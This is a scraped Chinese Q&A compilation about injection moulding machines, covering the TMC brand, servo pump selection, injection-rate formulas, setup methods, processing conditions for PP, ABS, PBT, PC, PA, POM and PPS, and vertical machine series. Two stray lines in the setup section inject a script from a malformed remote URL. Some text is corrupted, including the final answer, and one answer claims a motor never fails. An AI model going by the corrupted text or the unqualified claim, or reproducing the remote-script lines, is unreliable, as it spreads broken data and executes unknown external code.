trx320sv型注塑机

A. 什么是TMC注塑机

TMC是江门庆优机电工业有限公司 的简称。
注塑机又名注射成型机或注射机。它是将热塑性塑料或热固性塑料利用塑料成型模具制成各种形状的塑料制品的主要成型设备。分为立式、卧式、全电式。注塑机能加热塑料，对熔融塑料施加高压，使其射出而充满模具型腔。

TMC品牌注塑机在国内同类产品中属高档产品，在台湾出口统计中多年名列前三位。台湾庆优也凭着自己的精密、稳定、可靠、长寿的射出成型机技术，成功地将「TMC」品牌推向国际，行销欧、美、澳及南非、东南亚地区的十多个国家，建立了「TMC=HIGH QUAUTY(高品质)」的形象认知。公司在近三十年的历史中不仅为客户提供了世界一流品质的产品，而且提供了完善的技术服务，因此在上述地区获得良好声誉，成为亚洲成功进入该市场的供应商之一。

在日欧注射成型领域，“TMC”几乎成了亚洲品牌的代名词，“精密、稳定、可靠、长寿、”是“TMC”赢得国外市场的资本。1994年，广东江门庆优机电有限公司作为台湾庆优工业股份有限公司在中国的专业工厂，在中国大地上生根发芽。十年间，江门庆优将台湾庆优和世界先进技术兼收并容，以挑战者的身份紧追着欧美日的先进技术，并以此不断完善和创新。

B. 请问注塑机改伺服泵怎么选电机和油泵的型号规格电机扭矩，转速，流量等

选用科汇的开关磁阻伺服电机驱动油泵，电机扭矩、转速与油泵一致即可。科汇的开关磁阻伺服电机 过载能力强，可靠性高，不发生故障。
另，请注意 油泵转速的运行范围。

C. 关于注塑机的型号问题

以下是普通注塑机机型
应该指的是容模量
注塑机容模量为：
80T 140——310 90T 140——400 120T 190——420 130T 140——380
160T（A型机）200——470 160T（B型机）160——450 200T 180——550 220T 280——580 250T 200——600
300T（A型机） 320——650 300T（B型机) 240——650 400T（A型机） 350——720 400T（B型机） 280——720 500T（A型机） 400——820 500T（B型机） 300——800 630T 400——850 800T 500——1000 1000T 600——1150 1300T 650——1300 1600T 750——1500 2000T 859——1700
其中A型机指顶针的行程是由电眼控制的，B型机顶针的行程是用电子尺控制的。

D. 注塑机的注射压力参数

注塑机的基本参数—注射速率 注射速率（注射时间、注射速度）注射时，为了使熔料及时充满型腔，除了必须有足够的注射压力外，熔料还必须有一定的流动速度。描写这一参数的为注射速率或注射时间或注射速度。
所谓注射速率、注射速度、注射时间可用下面两式定义：
q注=Q公/t注（cm3/s） （1）
V注=S/t注（mm/s） （2）
式中 q注——注射速率，cm3/s;
Q公——公称注射量，cm3; t注——注射时间，s;
V注——注射速度，mm/s;
S――注射行程，即螺杆移动距离，mm。
可见，注射速率是将公称注射量的熔料在注射时间内注射出去，单位时间内所达到的体积流率；注射速度是指螺杆或柱塞的移动速度；而注射时间，即螺杆（或柱塞）射出一次公称注射量所需要的时间。
注射速率或注射速度或注射时间的选定很重要，直接影响到制品的质量和生产率。注射速率过低（即注射时间过长），制品易形成冷接缝，不易充满复杂的模腔。合理地提高注射速率，能缩短生产周期，减少制品的尺寸公差，能在较低的模温下顺利地获得优良的制品，特别是在成型薄壁、长流程制品及低发泡制品时采用高的注射速率，能获得优良的制品。因此目前有提高注射速率的趋势：1000cm3以下的中小型螺杆式注塑机注塑时间通常在3�9�15s，大型或超大型注塑机也很少超过10s。表3-42列出了注射速率的数值，供参考。但是，注射速率也不能过高，否则塑料高速流经喷嘴时，易产生大量的摩擦热，使物料发生热解和变色，模腔中的空气由于被急剧压缩产生热量，在排气口处有可能出现制品烧伤现象。一般说来，注射速率应根据工艺要求、塑料的性能、制品的形状及壁厚、浇口设计以及模具的冷却情况来选定。
表 常用的注射速率
注射量/注射速率/(cm3/s)125200333570890133016002000注射时间/s11.251.51.752.2533.755
为了提高注射制件的质量，尤其对形状复杂制品的成型，发展了变速注射，即注射速度是变化的，其变化规律根据制件的结构形状和塑料的性能决定。

E. 注塑机的调机方法与技巧

注塑机的调机方法与技巧
注塑成型介绍及工艺介绍
一、 注塑成型的基本原理：
注塑机利用塑胶加热到一定温度后,能熔融成液体的性质,把熔融液体用高压注射到密闭的模腔内,经过冷却定型,开模后顶出得到所需的塑体产品。 二、 注塑成型的四大要素:
1.塑胶模具 2.注塑机 3.塑胶原料 4.成型条件 三、 塑胶模具
大部份使用二板模、三板模，也有部份带滑块的行位模。
基本结构: 1.公模（下模） 公模固定板、公模辅助板、顶针板、公模板。 2.母模（上模) 母模板、母模固定板、进胶圈、定位圈。 3.衡温系统 冷却.稳（衡）定模具温度。 四、 注塑机
主要由塑化、注射装置，合模装置和传动机构组成； 电气带动电机，电机带动油泵，油泵产生油压， 油压带动活塞，活塞带动机械，机械产生动作； 1、依注射方式可分为：
1.卧式注塑机 2.立式注塑机 3.角式注塑机 4.多色注塑机 2、依锁模方式可分为：
1.直压式注塑机 2.曲轴式注塑机 3.直压、曲轴复合式 3、依加料方式可分为：
1.柱塞式注塑机 2.单程螺杆注塑机 3.往复式螺杆注塑机 4、注塑机四大系统： 1.射出系统
a.多段化、搅拌性及耐腐蚀性。
b.射速、射出、保压、背压、螺杆转速分段控制。 c.搅拌性、寿命长的螺杆装置。 d.料管互换性，自动清洗。 e.油泵之平衡、稳定性。 2.锁模系统
a.高速度、高钢性。
b.自动调模、换模装置。 c.自动润滑系统。 d.平衡、稳定性。 3.油压系统
a.全电子式回馈控制。
b.动作平顺、高稳定性、封闭性。 c.快速、节能性。
d.液压油冷却，自滤系统。 4.电控系统
a.多段化、具记忆、扩充性之微电脑控制。 b.闭环式电路、回路。
c.SSR(比例、积分、微分 )温度控制。 d.自我诊断.警报功能。

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

e.自动生产品质管制、记录。 5、国内注塑机现有的品牌： 1.国外品牌：
巴顿 德马格 三菱 日钢 东芝 等等； 2.港台品牌：
震雄 全力发 富强鑫 舜展 台中精机 亿利达 综纬 丰铁 百塑 今机 德润 等等；
3.国外品牌：
海天 海星 海达 海太 海涛 海地 三元 通用 双马 永泰 王牌 等等；
五、 塑胶材料 塑胶材料可分为热固性和热塑性两种： 1.热固性塑胶：指不能重复使用之塑胶 ,其分子最终成体型结构。 2.热塑性塑胶：指可重复再造使用之塑胶,分为结晶体(PBT,PA)和非定形性(PC,PPO).结晶性塑胶指塑胶液体在变为固体时可以成为规则形的塑胶,其分子大部分是依线形或支链型结构排列。 3.工程塑胶 工程塑胶指使用在机械构件,可长期使用在100摄氏度以上，抗拉伸强度在一平方厘米500kg以上;抗弯曲强度在一平方厘米2400kg以上的塑胶 目前大部分使用的塑料有：PP ABS PBT PC PA PPS POM 等。 1、 PP料：(聚丙烯polypropylene) 目前大部分使用的厂牌有： 中国石化 台湾化纤 镇海炼化 韩国现代 新加坡mytex 印度SEETEC
特性： 比重较轻,流动性好,无色.无味.无臭.无毒，光泽度.拉伸强度.耐热性能好,二次加工性能好,有良好的绝缘性.化学稳定性;加上价格低廉,主要适用于编织袋.玩具.周转箱.家电.管材.板材等。
公司产品主要用于电器外壳，如：电机后罩 三管前后壳 小太阳后罩 风叶等等；
一般成型条件： 1.模温：20度至40度 2.干燥条件：80度1-2个小时以上。 3.料管温度：170度至220度 4.热变形温度:80度(1.8MPa,12.7mm)。 5.软化点：135度以上 6.模具收缩率：0.5%--0.7%(3.3mm) 7.拉伸屈服强度：20-30Mpa; 常用的改性方式有： 增强 增韧 阻燃 抗氧化 耐侯 高光泽等； 2、 ABS料：（丙烯腈.丁二烯.苯乙烯三元树
脂).(acrylonitrile-butadiene-styrene copolymer)
目前大部分使用的厂牌有：中国石化 台湾奇美 台湾化纤巴斯夫 韩国LG(宁波LG) 韩国锦湖化工 韩国三星
特性：耐冲击性能好，强度和刚性高,耐低温、耐热、高光泽，易配色和二次加工、表面处理。主要适用于汽车.电气.家电.建筑型材等。
公司产品主要用于电器外壳，如：电风扇.冷风扇.饮水机.暖风机.通风器.浴霸等产品的前后壳.支架等等；
一般成型条件： 1.模温：40度至60度 2.干燥条件：80度2-4个小时以上。
3.料管温度：190度至230度 4.热变形温度:80度(1.8MPa,12.7mm)。
5.一般背压：8-15kg/平方mm。 6.模具收缩率：0.5%--0.7%(3.3mm) 常用的改性方式有： 增强 增韧 阻燃 耐侯 合金 等；
3、PBT料：（聚对苯二甲酸丁二醇脂poly butylene terephthalate）Celanese 目前大部分使用的厂牌没有固定，国际上常用的厂牌有：杜邦 奇异 通用 宝理 台塑 DSM 拜耳 等；
var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

特性：抗磨损性和刚性极高、耐化学性强，耐候性好，尺寸稳定性，有良好的电气绝缘性，增强后性能更佳。吸湿，易受热分解，主要适用于汽车.电气.家电.连接器.精密仪器电子等。
公司产品主要用于耐热部位： 暖风机的出风口.大厦的PTC支架等等； 一般成型条件：(依加纤比例不同有所变化) 1.模温：40度至60度 2.干燥条件：100度至140度4个小时以上。 3.料管温度：240度至270度 4.热变形温度：210度至230度（1.8MPa,12.7mm)。 5.模具收缩率：0.3%--0.5%(3.2mm) 6.热分解温度：280度（在260度料管可滞留6分钟，否则会分解、变质）。 常用的改性方式有： 增强 增韧 阻燃 等； 4、PC料（聚碳酸脂polycarbonate）
目前大部分使用的厂牌没有固定，国际上常用的厂牌有：拜耳 奇异 三菱 出光 帝人 陶氏 宝理 等；
特性：耐冲击力强度最高，尺寸稳定，耐热130度以上，具有高光泽和透明性，透射率可达到90%左右，无毒性。 加工温度高，成型后有应力，吸湿，不耐磨，耐疲劳。主要适用于食品容器.光碟.镜片.家电.光学仪器等。
公司产品主要用于油汀，如：部分油汀的面板.烘衣架.电子油汀透明罩等等； 一般成型条件：(依加纤比例不同有所变化) 1.模温：80度至100度 2.干燥条件：100度至120度4小时以上。 3.料管温度：250度至300度 4.热变形温度:130度左右； 5.模具收缩率：0.5%-0.7%
PC材料之流动性随温度升高则越高，因温度调节在成型上占比重较大。 常用的改性方式有： 增强 阻燃 抗氧化 耐侯 等； 5、 PA料（聚酰胺polyamide）又称NYLON尼龙 目前大部分使用的厂牌没有固定，国际上常用的厂牌有：杜邦 宝理 三菱 DSM 陶氏 巴斯夫 拜耳 等；
特性：耐磨擦、抗疲劳性，吸水率高，（增强后强度高)尺寸稳定性极好，（可用于高精密机械物件）。主要适用于汽车.齿轮.电机.精密仪器.精密电子SMT.IC连接器等。
公司产品主要用于耐热.耐磨部位，如：电子油汀的面板.油汀的脚轮，接线柱等等；
成型条件：(依结构不同和加纤比例不同有所变化) 1.模温：80度至120度 2.干燥条件：120度至140度4小时以上。 3.料管温度：260至310度 4.热变形温度：235度 5.模具收缩率：0.1%--0.5%
设备要求：1.螺杆: (L:D=20:1) 标准型三段，带止逆环螺杆。（可选择的封闭式射嘴，直径为3.0mm) 2.料管须使用耐腐蚀及耐磨损的合金材料。 3.模板两面须加强隔热板，避免机器受热。 4.使用圆形料道，公、母模均匀散热。 5.进料口使用直径为0.3mm至0.5mm的针孔潜入进料。
6.使用0.02mm-0.04mm深度，0.5mm-1.0mm宽度的排气孔，并有效地后续排气。 常用的改性方式有： 增强 耐磨 耐热 高粘性 等； 6、POM料：（聚甲醛 polyformaldehyde）
先锋公司目前大部分使用的厂牌没有固定，国际上常用的厂牌有： 杜邦 宝理 台丽钢 科隆 等；
特性：高耐磨擦、抗疲劳性，尺寸稳定性极好，（可用于要求尺寸稳定.耐磨性的 机械物件）分解后有严重刺眼的气体，使用时应注意排气。
耐燃性差，不耐酸.油等，表面处理性差， 要适用于汽车.齿轮.喷雾器.精密电

子等。
公司产品主要用于尺寸稳定.耐磨部位，如： 三管的偏心桃.衬套，欧尚转盘等等；
一般成型条件：
1.模温：60度至80度
2.干燥条件：80度至100度2小时以上。 3.料管温度：170至210度 4.热变形温度：90度左右； 5.模具收缩率：0.5%-0.8%
6.热分解温度：240度（在240度料管可滞留5分钟，否则会分解、变质）。 7、PPS钢料：（聚苯硫醚 poly phenylene sulfide）
先锋公司目前大部分使用的厂牌没有固定，国际上常用的厂牌有： 菲力浦 宝理 陶氏 奇异 等；
特性：耐磨擦、抗疲劳性，吸水率高，自身阻燃性高，尺寸稳定性极好， （可用于高精密机械物件）增强后性能更佳,有类似金属的声音。 结晶性差，流动性差，韧性差，无法配色。 易腐蚀模具和机器，容易产生毛边。
主要适用于汽车.齿轮.电机.精密仪器.精密电子SMT.IC连接器等。 公司产品主要用于高耐热部位，如： 暖风机的PTC支架.接线架等等；
一般成型条件： (依结构不同和加纤比例不同有所变化) 1.模温：100度至150度
2.干燥条件：120-140度4个小时以上。 3.料管温度：270度至330度
4.热变形温度:260度(1.8MPa,12.7mm)。 5.热分解温度:400度(1.8MPa,12.7mm)。 6.模具收缩率：0.1%--0.4%(3.3mm) 设备要求：
1.螺杆: (L:D=20:1)
标准型三段，带止逆阀螺杆。（可选择的封闭式射嘴，直径为3.0mm) 2.料管须使用耐腐蚀及耐磨损的双合金材料。 3.模板两面须加强隔热板，避免机器受热。 4.使用圆形料道，公、母模均匀散热。
5.进料口使用直径为0.3mm至0.5mm的针孔潜入进料。
6.使用0.02mm-0.04mm深度，0.5mm-1.0mm宽度的排气孔，并有效地后续排气。 7.模具型腔应镀铬或作相应表面处理，减少生产时的气体腐蚀。
六、 成型条件
成型条件：速度、压力、温度、时间、行程、数量。 1.射出压力(一次压)：
在注射成型时螺杆顶部单位面积对塑料施加的压力； P=油缸直径D0/螺杆直径D1*油压压力； 2.保压(二次压)：
熔融原料在型腔中冷却,这时必须施加一定的压力来补充其收缩部分,

增高密度,这时螺杆对塑料施加的压力叫保压； 3.锁模力： （吨位）
锁模机构对模具所能施加的最大夹紧力； F=K*P*A(K=0.4~0.7,即压力损失系数)； P：最大油泵压力； A：锁模板面积；
*设定时一般不超过80-100kg/平方cm； 4.注射量：
一个注射成型周期中注入模具内的塑料重量； 5.注射能力： 克数 . cm3
一台注塑机螺杆作一次最大注射行程时所能射出的最大量； G=3.14/4*D2*S*密度 D：螺杆直径 S：螺杆行程
*生产中一个周期注射量应小于或等于机台最大射出量的80%； 6.射速：
螺杆在料管内移动,单位时间内移动的行程叫射速； V=S/T*100%
S：螺杆在料管内的行程； T：螺杆射出时间； 7.背压：
加料时,在螺杆反退的反方向上,加在熔融塑料上的压力； 背压的作用：
1.提高熔融塑胶的混练效果； 2.提高熔融塑胶的温度； 3.提高熔融塑胶的密度； 4.增进塑胶颜色的均匀； 5.排出熔融塑胶内的气体； 8.低压保护：
指模具在锁模时对阻力产生的一种保护装置,其能使模具在压住异物 时受到最小的伤害,减少压模损失。
其工作原理是在模具从锁模低速到锁模高压的这段距离设定一定的时
间,当模具在这段锁模过程中碰到异物.塑胶或因润滑不足而在设定时间内锁 不到高压切换点时,机器就产生警报,并将模具打开； 七、 成型品质改善原因分析： 一、 未射饱 (缺料)
1.射出压力不足； 2.保压压力不足； 3.射出时间不足； 4.加料(储料)不足；
5.射料分段位置太小； 6.射出终点位置太小； 7.射出速度不够快； 8.射嘴、料管温度不够； 9.模具温度不够； 10.原料烘干温度、时间不足； 11.注塑周期太快，预热不足；
12.原料搅拌不均匀；(背压不足，转速不够) 13.原料流动性不足；(产品壁太薄)
14.模具排气不足； 15.模具进料不均匀；
16.冷料井设计不合理； 17.冷料口太小，方向不合理；

F. 注塑机品牌，型号，工作原理等

奥翔
AT系列机器介绍
一、简要介绍:
AT系列为立式锁模立式注射设计,锁模装置设于机体下方,结构坚固单纯不占空间。锁模力由15Ton-280Ton,注射量由29g-1161g。产品可分为：
标准机：一个上模，一个下模，结构合理，使用方便。
单滑板机（AT-S）：一个上模，一个下模，取、放物件在锁模区域外执行，确保操作人员人身安全。
双滑板机（AT-DS）：一个上模，两个下模在同一个平面左右交替工作，一模成型工作，一模在外取、放件。操作安全性高且可提高30%-50%的工作效率。
转盘机（AT-R）：一个上模，两个或多个下模在同一个平面1800或3600旋转工作，操作安全性高且可大幅提高人工效率。

二、系统特点：
•立式锁模、立式注射机构设计，适合有镶嵌件的塑胶制品之成型。
• 采用LCD彩色7寸显示屏，各种功能显示清楚明确，随机储存999组模组成型
参数。
• 注塑及锁模采用多段压力、速度控制，可按产品的要求设定， 调整方便，保
证产品的精度。
•直压式子母缸设计，高速低压锁模，模具使用寿命长，安全性高。
•多样化油路设计，可满足不同产品的需求（半闭、全闭、伺服或高速射出）。
•高精度P.I.D.温度控制，各段温度控制稳定，误差小。
•注塑系统采用双射缸、双座缸、双导柱设计，运动平稳，射出精度高。
•特殊设计之螺杆料管组，适合不同注塑工艺的要求。
•配置高扭力、低噪音之油压马达，令塑化能力更优良。
•活动部位采用高品质自润滑轴承，让机台保养更简便。
•强化设计之滑板机机架，确保滑模动作更精确、稳定。
•机种齐全，单工位及双工位自由选配，让成型更具经济效益。

AC系列机器介绍

一、简要介绍：
AC系列采用立式锁模、卧式注射机构设计，锁模机构采用C-型机架、无机柱直压锁模，三面模具空间开放，嵌件及成品取放容易，整体刚性佳，锁模力由45Ton-120Ton ，注射量由29g-1161g。产品可分为：
标准机：一个上模，一个下模，结构合理，使用方便。
双滑板机（AT-DS）：一个上模，两个下模在同一个平面左右交替工作，一模成型工作，一模在外取、放件。操作安全性高且可提高30%-50%的工作效率。
转盘机（AT-R）：一个上模，两个或多个下模在同一个平面1800或3600旋转工作，操作安全性高且可大幅提高人工效率。

二、系统特点：
•立式锁模、卧式注射机构设计，适合带长柄型镶嵌件的塑料制品之成型。
•锁模机构采用C型机架、无机柱设计，工作台三面空间开放，镶嵌件及成品
取放容易，更能配合自动化连线作业。
•射座高度整体水平升、降，调整方便，杜绝漏料。
• 人性化的工作台面高度设计，操作舒适，从而提高操作者的工作效率及安全
性。
• 采用7寸彩色显示屏，各种功能显示清楚明确，随机储存999组模块成型参
数。
•多样化油路设计，可满足不同产品的需求（半闭、全闭、伺服或高速射出）。
•注塑系统采用双射缸、双导柱设计，运动平稳，射出精度高。
•加料采用五芯马达，可以满足高扭矩或高转速的不同要求。
•注塑及锁模采用电子尺控制，多段压力与速度调整，可按产品的要求设定，调
整方便，保证产品的精度。
•高精度 P.I.D. 温度控制，各段温度控制稳定，误差小。
•机种齐全，备有标准机、双滑板机、转盘机，可供选择，满足注塑多样化需求。
双滑板与转盘机种的模具安装、拆卸方便，安全性高，可大幅度提高产量与工作效率。

AK系列机器介绍

一、简要介绍：
AK系列采用立式锁模、卧式注射机构设计，锁模机构采用双快速缸锁模，并配附油箱，合模快速，起压快。超大容模结构，适合大型镶嵌件的塑料制品之成型。锁模力由120Ton-600Ton ，注射量由231g-5000g。产品可分为：
标准机：一个上模，一个下模，结构合理，使用方便。
单滑板机（AT-S）：一个上模，一个下模，取、放物件在锁模区域外执行，确保操作人员人身安全。
双滑板机（AT-DS）：一个上模，两个下模在同一个平面左右交替工作，一模成型工作，一模在外取、放件。操作安全性高且可提高30%-50%的工作效率。
转盘机（AT-R）：一个上模，两个或多个下模在同一个平面1800或3600旋转工作，操作安全性高且可大幅提高人工效率。

二、系统特点：
•立式锁模、卧式注射机构设计，适合大型镶嵌件的塑料制品之成型。
•人性化的工作台面高度设计及双滑板的配置，模具安装、拆卸方便，操作舒适，从而提高操作者的工作效率和安全性。
•采用7寸彩色显示屏，各种功能显示清楚明确，随机储存999组模块成型参数。
•多样化油路设计，可满足不同产品的需求（半闭、全闭、伺服或高速射出）。
•注塑系统采用双射缸、双导柱设计，运动平稳，射出精度高。
•射座高度整体水平升、降，调整方便，杜绝漏料。
•加料采用五芯马达，可以满足高扭矩或高转速的不同要求。
•锁模机构采用双快缸设计，实现平稳、快速、维修简易的要求。
•模板与机柱的活动部位，采用高刚性铜衬套，实现运动顺畅、低污染和使用寿命长的需求。
•注塑及锁模采用电子尺控制，多段压力与速度调整，可按产品的要求设定，调整方便，保证产品的精度。
•高精度P.I.D. 温度控制，各段温度控制稳定，误差小。
•可选配IPMP伺服系统，比常规定量泵省电60%以上。

G. 我想买10台注塑机，现在不知道那个注塑机型号和实用性好一点，现在先买一台一出四的机型

楼主你好。
你可以去查询一下佳明注塑机啊。
全国各地都有办事处。
你只要在网上查一查应该可以找到。
价格方面。 我觉得挺实惠的
而且维修方面 都还可以。 你可以去查询一下
看你在哪个地方。 在广东的话。 可以找到总公司去看机器。

H. multiplas 是什么牌子注塑机

multiplas 台湾百塑注塑机 ，百塑是亚洲区立式注塑成型设备领导者与嵌入注塑成型技术的代言人。请查看他们的官网咨询相关信息。

I. 塑料的注塑机的型号SZ或者SYS是什么意思呢

SZ代表塑料注塑机，都是取的首字母缩写
SYS中的Y代表螺杆式的，应该是SYZ吧，代表塑料螺杆式注塑机

J. 注塑机把4v改成普通

。00.0-